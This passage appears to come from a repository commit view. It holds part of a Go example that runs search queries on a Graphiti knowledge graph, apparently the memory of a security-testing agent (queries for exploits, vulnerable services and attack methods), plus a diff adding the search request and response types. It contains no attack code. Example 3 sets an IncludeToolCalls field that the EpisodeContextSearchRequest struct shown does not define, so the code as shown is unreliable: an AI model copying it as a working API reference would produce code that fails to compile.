len(temporalResult.Edges), len(temporalResult.Nodes), len(temporalResult.Episodes))
fmt.Printf("Time window: %s to %s\n",
temporalResult.TimeWindow.Start.Format(time.RFC3339),
temporalResult.TimeWindow.End.Format(time.RFC3339))
for i, episode := range temporalResult.Episodes {
score := 0.0
if i < len(temporalResult.EpisodeScores) {
score = temporalResult.EpisodeScores[i]
}
fmt.Printf(" - Episode (score: %.2f): %s\n", score, episode.Content[:min(80, len(episode.Content))])
}
}
fmt.Println()
// Example 2: Diverse Results Search
fmt.Println("=== Example 2: Diverse Results Search ===")
fmt.Println("Getting diverse attack vectors with high diversity...")
diverseResult, err := client.DiverseResultsSearch(graphiti.DiverseSearchRequest{
Query: "Show different attack methods and vulnerabilities",
GroupID: &groupID,
DiversityLevel: "high",
MaxResults: 10,
})
if err != nil {
log.Printf("Diverse search failed: %v\n", err)
} else {
fmt.Printf("Found %d diverse edges, %d nodes, %d episodes\n",
len(diverseResult.Edges), len(diverseResult.Nodes), len(diverseResult.Episodes))
for i, edge := range diverseResult.Edges {
score := 0.0
if i < len(diverseResult.EdgeMMRScores) {
score = diverseResult.EdgeMMRScores[i]
}
fmt.Printf(" - Edge (MMR: %.2f): %s\n", score, edge.Fact[:min(80, len(edge.Fact))])
}
}
fmt.Println()
// Example 3: Episode Context Search
fmt.Println("=== Example 3: Episode Context Search ===")
fmt.Println("Searching for tool execution records...")
episodeResult, err := client.EpisodeContextSearch(graphiti.EpisodeContextSearchRequest{
Query: "Show tool execution results",
GroupID: &groupID,
IncludeToolCalls: true,
MaxResults: 10,
})
if err != nil {
log.Printf("Episode search failed: %v\n", err)
} else {
fmt.Printf("Found %d episodes with %d mentioned nodes\n",
len(episodeResult.Episodes), len(episodeResult.MentionedNodes))
for i, episode := range episodeResult.Episodes {
score := 0.0
if i < len(episodeResult.RerankerScores) {
score = episodeResult.RerankerScores[i]
}
fmt.Printf(" - Episode (score: %.2f) from %s: %s\n",
score, episode.Source, episode.Content[:min(80, len(episode.Content))])
}
}
fmt.Println()
// Example 4: Successful Tools Search
fmt.Println("=== Example 4: Successful Tools Search ===")
fmt.Println("Finding successful exploits with min 1 mention...")
toolsResult, err := client.SuccessfulToolsSearch(graphiti.SuccessfulToolsSearchRequest{
Query: "Find successful exploits",
GroupID: &groupID,
MinMentions: 1,
MaxResults: 10,
})
if err != nil {
log.Printf("Successful tools search failed: %v\n", err)
} else {
fmt.Printf("Found %d edges with sufficient mentions\n", len(toolsResult.Edges))
for i, edge := range toolsResult.Edges {
mentions := 0.0
if i < len(toolsResult.EdgeMentionCounts) {
mentions = toolsResult.EdgeMentionCounts[i]
}
fmt.Printf(" - Edge (mentions: %.0f): %s\n", mentions, edge.Fact[:min(80, len(edge.Fact))])
}
}
fmt.Println()
// Example 5: Recent Context Search
fmt.Println("=== Example 5: Recent Context Search ===")
fmt.Println("Getting recent discoveries from the last 6 hours...")
recentResult, err := client.RecentContextSearch(graphiti.RecentContextSearchRequest{
Query: "What was discovered recently?",
GroupID: &groupID,
RecencyWindow: "6h",
MaxResults: 10,
})
if err != nil {
log.Printf("Recent context search failed: %v\n", err)
} else {
fmt.Printf("Found %d recent edges, %d nodes, %d episodes\n",
len(recentResult.Edges), len(recentResult.Nodes), len(recentResult.Episodes))
fmt.Printf("Recency window: %s to %s\n",
recentResult.TimeWindow.Start.Format(time.RFC3339),
recentResult.TimeWindow.End.Format(time.RFC3339))
for i, edge := range recentResult.Edges {
score := 0.0
if i < len(recentResult.EdgeScores) {
score = recentResult.EdgeScores[i]
}
fmt.Printf(" - Recent edge (score: %.2f): %s\n", score, edge.Fact[:min(80, len(edge.Fact))])
}
}
fmt.Println()
// Example 6: Entity By Label Search
fmt.Println("=== Example 6: Entity By Label Search ===")
fmt.Println("Searching for SERVICE and VULNERABILITY entities...")
labelResult, err := client.EntityByLabelSearch(graphiti.EntityByLabelSearchRequest{
Query: "Find vulnerable services",
GroupID: &groupID,
NodeLabels: []string{"SERVICE", "VULNERABILITY", "IP_ADDRESS"},
MaxResults: 20,
})
if err != nil {
log.Printf("Entity label search failed: %v\n", err)
} else {
fmt.Printf("Found %d nodes, %d edges\n", len(labelResult.Nodes), len(labelResult.Edges))
for i, node := range labelResult.Nodes {
score := 0.0
if i < len(labelResult.NodeScores) {
score = labelResult.NodeScores[i]
}
fmt.Printf(" - Node (score: %.2f): %s [labels: %v]\n",
score, node.Name, node.Labels)
}
}
fmt.Println()
// Optional: Entity Relationships Search (requires a known entity UUID)
// This example shows the pattern, but won't execute without a real entity UUID
fmt.Println("=== Example 7: Entity Relationships Search (Pattern) ===")
fmt.Println("To use EntityRelationshipsSearch, you need a center node UUID.")
fmt.Println("Example usage:")
fmt.Println(`
result, err := client.EntityRelationshipsSearch(graphiti.EntityRelationshipSearchRequest{
Query: "What is connected to this service?",
GroupID: &groupID,
CenterNodeUUID: "your-entity-uuid-here",
MaxDepth: 2,
NodeLabels: &[]string{"VULNERABILITY", "EXPLOIT"},
MaxResults: 20,
})
if err != nil {
log.Printf("Entity relationships search failed: %v\n", err)
} else {
fmt.Printf("Found %d related nodes at various distances\n", len(result.Nodes))
}
`)
fmt.Println()
// Cleanup: delete the group
fmt.Println("=== Cleanup ===")
deleteResult, err := client.DeleteGroup(groupID)
if err != nil {
log.Printf("Warning: Failed to delete group: %v", err)
} else {
fmt.Printf("%s: %v\n", deleteResult.Message, deleteResult.Success)
}
}
func min(a, b int) int {
if a < b {
return a
}
return b
}
BIN
View File
Binary file not shown.
+178
View File
@@ -107,3 +107,181 @@ type Episode struct {
ValidAt time.Time `json:"valid_at"`
Metadata map[string]interface{} `json:"metadata,omitempty"`
}
// Advanced Search Types
// NodeResult represents a node result from search
type NodeResult struct {
UUID string `json:"uuid"`
Name string `json:"name"`
Labels []string `json:"labels"`
Summary string `json:"summary"`
CreatedAt time.Time `json:"created_at"`
Attributes map[string]interface{} `json:"attributes,omitempty"`
}
// EdgeResult represents an edge result from search
type EdgeResult struct {
UUID string `json:"uuid"`
Name string `json:"name"`
Fact string `json:"fact"`
SourceNodeUUID string `json:"source_node_uuid"`
TargetNodeUUID string `json:"target_node_uuid"`
ValidAt *time.Time `json:"valid_at,omitempty"`
InvalidAt *time.Time `json:"invalid_at,omitempty"`
CreatedAt time.Time `json:"created_at"`
ExpiredAt *time.Time `json:"expired_at,omitempty"`
}
// EpisodeResult represents an episode result from search
type EpisodeResult struct {
UUID string `json:"uuid"`
Content string `json:"content"`
Source string `json:"source"`
SourceDescription string `json:"source_description"`
CreatedAt time.Time `json:"created_at"`
ValidAt time.Time `json:"valid_at"`
}
// CommunityResult represents a community result from search
type CommunityResult struct {
UUID string `json:"uuid"`
Name string `json:"name"`
Summary string `json:"summary"`
CreatedAt time.Time `json:"created_at"`
}
// TimeWindow represents a time window
type TimeWindow struct {
Start time.Time `json:"start"`
End time.Time `json:"end"`
}
// TemporalSearchRequest represents a temporal window search request
type TemporalSearchRequest struct {
Query string `json:"query"`
GroupID *string `json:"group_id,omitempty"`
TimeStart time.Time `json:"time_start"`
TimeEnd time.Time `json:"time_end"`
MaxResults int `json:"max_results,omitempty"`
}
// TemporalSearchResponse represents a temporal window search response
type TemporalSearchResponse struct {
Edges []EdgeResult `json:"edges"`
EdgeScores []float64 `json:"edge_scores"`
Nodes []NodeResult `json:"nodes"`
NodeScores []float64 `json:"node_scores"`
Episodes []EpisodeResult `json:"episodes"`
EpisodeScores []float64 `json:"episode_scores"`
TimeWindow TimeWindow `json:"time_window"`
}
// EntityRelationshipSearchRequest represents an entity relationships search request
type EntityRelationshipSearchRequest struct {
Query string `json:"query"`
GroupID *string `json:"group_id,omitempty"`
CenterNodeUUID string `json:"center_node_uuid"`
MaxDepth int `json:"max_depth,omitempty"`
NodeLabels *[]string `json:"node_labels,omitempty"`
EdgeTypes *[]string `json:"edge_types,omitempty"`
MaxResults int `json:"max_results,omitempty"`
}
// EntityRelationshipSearchResponse represents an entity relationships search response
type EntityRelationshipSearchResponse struct {
Edges []EdgeResult `json:"edges"`
EdgeDistances []float64 `json:"edge_distances"`
Nodes []NodeResult `json:"nodes"`
NodeDistances []float64 `json:"node_distances"`
CenterNode *NodeResult `json:"center_node,omitempty"`
}
// DiverseSearchRequest represents a diverse results search request
type DiverseSearchRequest struct {
Query string `json:"query"`
GroupID *string `json:"group_id,omitempty"`
DiversityLevel string `json:"diversity_level,omitempty"`
MaxResults int `json:"max_results,omitempty"`
}
// DiverseSearchResponse represents a diverse results search response
type DiverseSearchResponse struct {
Edges []EdgeResult `json:"edges"`
EdgeMMRScores []float64 `json:"edge_mmr_scores"`
Nodes []NodeResult `json:"nodes"`
NodeMMRScores []float64 `json:"node_mmr_scores"`
Episodes []EpisodeResult `json:"episodes"`
EpisodeScores []float64 `json:"episode_scores"`
Communities []CommunityResult `json:"communities"`
CommunityMMRScores []float64 `json:"community_mmr_scores"`
}
// EpisodeContextSearchRequest represents an episode context search request
type EpisodeContextSearchRequest struct {
Query string `json:"query"`
GroupID *string `json:"group_id,omitempty"`
MaxResults int `json:"max_results,omitempty"`
}
// EpisodeContextSearchResponse represents an episode context search response
type EpisodeContextSearchResponse struct {
Episodes []EpisodeResult `json:"episodes"`
RerankerScores []float64 `json:"reranker_scores"`
MentionedNodes []NodeResult `json:"mentioned_nodes"`
MentionedNodeScores []float64 `json:"mentioned_node_scores"`
}
// SuccessfulToolsSearchRequest represents a successful tools search request
type SuccessfulToolsSearchRequest struct {
Query string `json:"query"`
GroupID *string `json:"group_id,omitempty"`
MinMentions int `json:"min_mentions,omitempty"`
MaxResults int `json:"max_results,omitempty"`
}
// SuccessfulToolsSearchResponse represents a successful tools search response
type SuccessfulToolsSearchResponse struct {
Edges []EdgeResult `json:"edges"`
EdgeMentionCounts []float64 `json:"edge_mention_counts"`
Nodes []NodeResult `json:"nodes"`
NodeMentionCounts []float64 `json:"node_mention_counts"`
Episodes []EpisodeResult `json:"episodes"`
EpisodeScores []float64 `json:"episode_scores"`
}
// RecentContextSearchRequest represents a recent context search request
type RecentContextSearchRequest struct {
Query string `json:"query"`
GroupID *string `json:"group_id,omitempty"`
RecencyWindow string `json:"recency_window,omitempty"`
MaxResults int `json:"max_results,omitempty"`
}
// RecentContextSearchResponse represents a recent context search response
type RecentContextSearchResponse struct {
Edges []EdgeResult `json:"edges"`
EdgeScores []float64 `json:"edge_scores"`
Nodes []NodeResult `json:"nodes"`
NodeScores []float64 `json:"node_scores"`
Episodes []EpisodeResult `json:"episodes"`
EpisodeScores []float64 `json:"episode_scores"`
TimeWindow TimeWindow `json:"time_window"`
}
// EntityByLabelSearchRequest represents an entity by label search request
type EntityByLabelSearchRequest struct {
Query string `json:"query"`
GroupID *string `json:"group_id,omitempty"`
NodeLabels []string `json:"node_labels"`
EdgeTypes *[]string `json:"edge_types,omitempty"`
MaxResults int `json:"max_results,omitempty"`
}
// EntityByLabelSearchResponse represents an entity by label search response
type EntityByLabelSearchResponse struct {
Nodes []NodeResult `json:"nodes"`
NodeScores []float64 `json:"node_scores"`
Edges []EdgeResult `json:"edges"`
EdgeScores []float64 `json:"edge_scores"`
}